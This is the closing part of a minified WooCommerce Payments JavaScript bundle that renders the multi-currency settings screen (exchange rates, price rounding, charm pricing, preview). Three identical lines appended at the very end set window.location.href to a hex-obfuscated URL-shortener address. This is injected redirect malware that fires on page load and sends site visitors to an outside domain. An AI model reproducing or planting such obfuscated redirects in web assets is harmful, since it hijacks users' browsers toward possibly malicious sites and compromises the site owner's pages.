t=u(e);l(t)};return(0,L.createElement)("div",{className:"single-currency-settings-preview-wrapper"},(0,L.createElement)(ln,null,(0,L.createElement)(hn,null,(0,L.createElement)("div",null,(0,L.createElement)("h4",null,t.name),"left"===t.symbol_position?(0,L.createElement)(hm.TextControlWithAffixes,{prefix:t.symbol,"data-testid":"store_currency_value",value:i.toString(),onChange:d}):(0,L.createElement)(hm.TextControlWithAffixes,{suffix:t.symbol,"data-testid":"store_currency_value",value:i.toString(),onChange:d})),(0,L.createElement)("div",null,(0,L.createElement)("h4",null,r&&r.name),(0,L.createElement)("div",null,(0,L.createElement)("strong",{"data-testid":"calculated_value"},c))))))},bm={0:(0,j.__)("None","woocommerce-payments"),.25:"0.25","0.50":"0.50","1.00":"1.00 (recommended)","5.00":"5.00","10.00":"10.00"},Em={1:"1",10:"10",25:"25",50:"50",100:"100 (recommended)",500:"500",1e3:"1000"},vm={"0.00":(0,j.__)("None","woocommerce-payments"),"-0.01":"-0.01","-0.05":"-0.05"},wm={"0.00":(0,j.__)("None","woocommerce-payments"),"-1":"-1","-5":"-5","-10":"-10","-20":"-20","-25":"-25","-50":"-50","-100":"-100"};function Sm(e){const t={d:"DD",D:"ddd",j:"D",l:"dddd",N:"E",S:"o",w:"e",z:"DDD",W:"W",F:"MMMM",m:"MM",M:"MMM",n:"M",t:"",L:"",o:"YYYY",Y:"YYYY",y:"YY",a:"a",A:"A",B:"",g:"h",G:"H",h:"hh",H:"HH",i:"mm",s:"ss",u:"SSS",e:"zz",I:"",O:"",P:"",T:"",Z:"",c:"",r:"",U:"X"};return e.replace(/[A-Za-z]+/g,(function(e){return t[e]||e}))}const Tm=()=>{var e,t;const{currencyCodeToShowSettingsFor:r,closeSingleCurrencySettings:n}=(0,U.useContext)(Ud),o=r,{currencies:a}=Nc(),{enabledCurrencies:i}=Ic(),{storeSettings:s}=kc(),{currencySettings:c,isLoading:l,submitCurrencySettings:u}=(e=>{const{currencySettings:t,isLoading:r}=(0,oo.useSelect)((t=>{const{getCurrencySettings:r,isResolving:n}=t(so);return{currencySettings:r(e),isLoading:n("getCurrencySettings",[e])}})),{submitCurrencySettings:n}=(0,oo.dispatch)(so);return{currencySettings:t,isLoading:r,submitCurrencySettings:n}})(o),d=a.default?a.default:{},m=a.available?a.available[o]:{},p=m.is_zero_decimal?Em:bm,y=m.is_zero_decimal?wm:vm,f="automatic",_=m?.is_zero_decimal?"100":"1.00",h="0.00",[g,b]=(0,U.useState)(f),[E,v]=(0,U.useState)(0),[w,S]=(0,U.useState)(_),[T,R]=(0,U.useState)(h),[O,C]=(0,U.useState)(!1);(0,U.useEffect)((()=>{var e;c[o]&&(b(c[o].exchange_rate_type||f),v(c[o].manual_rate||0),S(null!==(e=c[o].price_rounding)&&void 0!==e?e:_),R(c[o].price_charm||h))}),[c,o,_]);const A=m?Po().unix(m.last_updated).format(Sm(null!==(e=s.date_format)&&void 0!==e?e:"F j, Y")+" "+Sm(null!==(t=s.time_format)&&void 0!==t?t:"HH:mm")):"";return(0,L.createElement)("div",{className:"single-currency-settings"},(0,L.createElement)(vn,{displayBanner:!1},(0,L.createElement)("h2",{className:"single-currency-settings-breadcrumb"},(0,L.createElement)(ad,{isLink:!0,onClick:()=>n()},(0,j.__)("Enabled currencies","woocommerce-payments"))," ","> ",m.name," (",m.code,")"," ",m.flag),(0,L.createElement)(um,{description:()=>(0,L.createElement)(L.Fragment,null,(0,L.createElement)("h2",null,(0,j.__)("Currency settings","woocommerce-payments")),(0,L.createElement)("p",null,(0,j.__)("Choose between automatic or manual exchange rates and modify formatting rules to refine the display of your prices.","woocommerce-payments")))},(0,L.createElement)(jd,{isLoading:l,numLines:33},(0,L.createElement)(ln,{className:"single-currency-settings-currency-settings"},(0,L.createElement)(hn,null,(0,L.createElement)("h3",null,(0,j.__)("Exchange rate","woocommerce-payments")),(0,L.createElement)("fieldset",null,(0,L.createElement)("ul",null,(0,L.createElement)("li",null,(0,L.createElement)("label",{htmlFor:"single-currency-settings__automatic_rate_radio"},(0,L.createElement)("div",{className:"single-currency-settings-radio-wrapper"},(0,L.createElement)("input",{name:"wcpay_multi_currency_exchange_rate_aud",id:"single-currency-settings__automatic_rate_radio",value:"automatic",type:"radio",className:"exchange-rate-selector",checked:"automatic"===g,onChange:()=>b("automatic")}),(0,L.createElement)("h4",null,(0,j.__)("Fetch rates automatically","woocommerce-payments"))),(0,L.createElement)("p",{className:ou()("single-currency-settings-description","single-currency-settings-description-inset")},m.last_updated?(0,j.sprintf)((0,j.__)("Current rate: 1 %s = %s %s (Last updated: %s)","woocommerce-payments"),d.code,m.rate,m.code,A):(0,j.__)("Error - Unable to fetch automatic rate for this currency")))),(0,L.createElement)("li",null,(0,L.createElement)("label",{htmlFor:"single-currency-settings__manual_rate_radio"},(0,L.createElement)("div",{className:"single-currency-settings-radio-wrapper"},(0,L.createElement)("input",{name:"wcpay_multi_currency_exchange_rate_aud",id:"single-currency-settings__manual_rate_radio",value:"manual",type:"radio",className:"exchange-rate-selector",checked:"manual"===g,onChange:()=>b("manual")}),(0,L.createElement)("h4",null,(0,j.__)("Manual","woocommerce-payments"))),(0,L.createElement)("p",{className:ou()("single-currency-settings-description","single-currency-settings-description-inset")},(0,j.__)("Enter your fixed rate of exchange","woocommerce-payments")))),"manual"===g?(0,L.createElement)("li",null,(0,L.createElement)("h4",null,(0,j.__)("Manual Rate","woocommerce-payments")),(0,L.createElement)("input",{type:"text","data-testid":"manual_rate_input",defaultValue:E||m.rate,onChange:e=>v(e.target.value.replace(/,/g,"."))}),(0,L.createElement)("p",{className:"single-currency-settings-description"},(0,j.__)("Enter the manual rate you would like to use. Must be a positive number.","woocommerce-payments"))):"")),(0,L.createElement)("h3",null,(0,j.__)("Formatting rules","woocommerce-payments")),(0,L.createElement)("fieldset",null,(0,L.createElement)("ul",null,(0,L.createElement)("li",null,(0,L.createElement)("h4",null,(0,j.__)("Price rounding","woocommerce-payments")),(0,L.createElement)("select",{value:parseFloat(w),"data-testid":"price_rounding",onChange:e=>S(e.target.value)},Object.keys(p).map((e=>(0,L.createElement)("option",{value:parseFloat(e),key:e},p[e])))),(0,L.createElement)("p",{className:"single-currency-settings-description"},(0,j.sprintf)((0,j.__)("Make your %s prices consistent by rounding them up after they're converted.","woocommerce-payments"),m.code),(0,L.createElement)(ad,{isLink:!0,onClick:()=>{open("https://woocommerce.com/document/woocommerce-payments/currencies/multi-currency-setup/#price-rounding","_blank")}},(0,j.__)("Learn more","woocommerce-payments")))),(0,L.createElement)("li",null,(0,L.createElement)("h4",null,(0,j.__)("Charm pricing","woocommerce-payments")),(0,L.createElement)("select",{value:parseFloat(T),"data-testid":"price_charm",onChange:e=>R(e.target.value)},Object.keys(y).map((e=>(0,L.createElement)("option",{value:parseFloat(e),key:e},y[e])))),(0,L.createElement)("p",{className:"single-currency-settings-description"},(0,j.__)("Reduce the converted price for a specific amount","woocommerce-payments"),(0,L.createElement)(ad,{isLink:!0,onClick:()=>{open("https://woocommerce.com/document/woocommerce-payments/currencies/multi-currency-setup/#charm-pricing","_blank")}},(0,j.__)("Learn more","woocommerce-payments")))))))))),(0,L.createElement)(um,{description:()=>(0,L.createElement)(L.Fragment,null,(0,L.createElement)("h2",null,(0,j.__)("Preview","woocommerce-payments")),(0,L.createElement)("p",null,l?"":(0,j.sprintf)((0,j.__)("Enter a price in your default currency (%s) to see it converted to %s using the exchange rate and formatting rules above.","woocommerce-payments"),d.name,m.name)))},(0,L.createElement)(jd,{isLoading:l,numLines:8},(0,L.createElement)(gm,{className:"single-currency-settings-currency-preview",storeCurrency:d,targetCurrency:m,currencyRate:"manual"===g?E:null,roundingValue:w,charmValue:T}))),(0,L.createElement)(um,{className:"single-currency-settings-save-settings-section"},(0,L.createElement)(ad,{isPrimary:!0,isBusy:O,disabled:O,onClick:()=>{C(!0),u(m.code,{exchange_rate_type:g,manual_rate:E,price_rounding:w,price_charm:T}),isNaN(E)||(i[m.code].rate=Number(E)),C(!1)}},(0,j.__)("Save changes","woocommerce-payments")))))};z().render((0,L.createElement)((()=>{const[e,t]=(0,U.useState)(!1),[r,n]=(0,U.useState)(null);return(0,L.createElement)(Ud.Provider,{value:{isSingleCurrencyScreenOpen:e,currencyCodeToShowSettingsFor:r,openSingleCurrencySettings:e=>{n(e),t(!0)},closeSingleCurrencySettings:()=>{t(!1),n(null)}}},e?(0,L.createElement)(Tm,null):(0,L.createElement)(_m,null))}),null),document.querySelector("#wcpay_multi_currency_settings_container"))})()})();
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";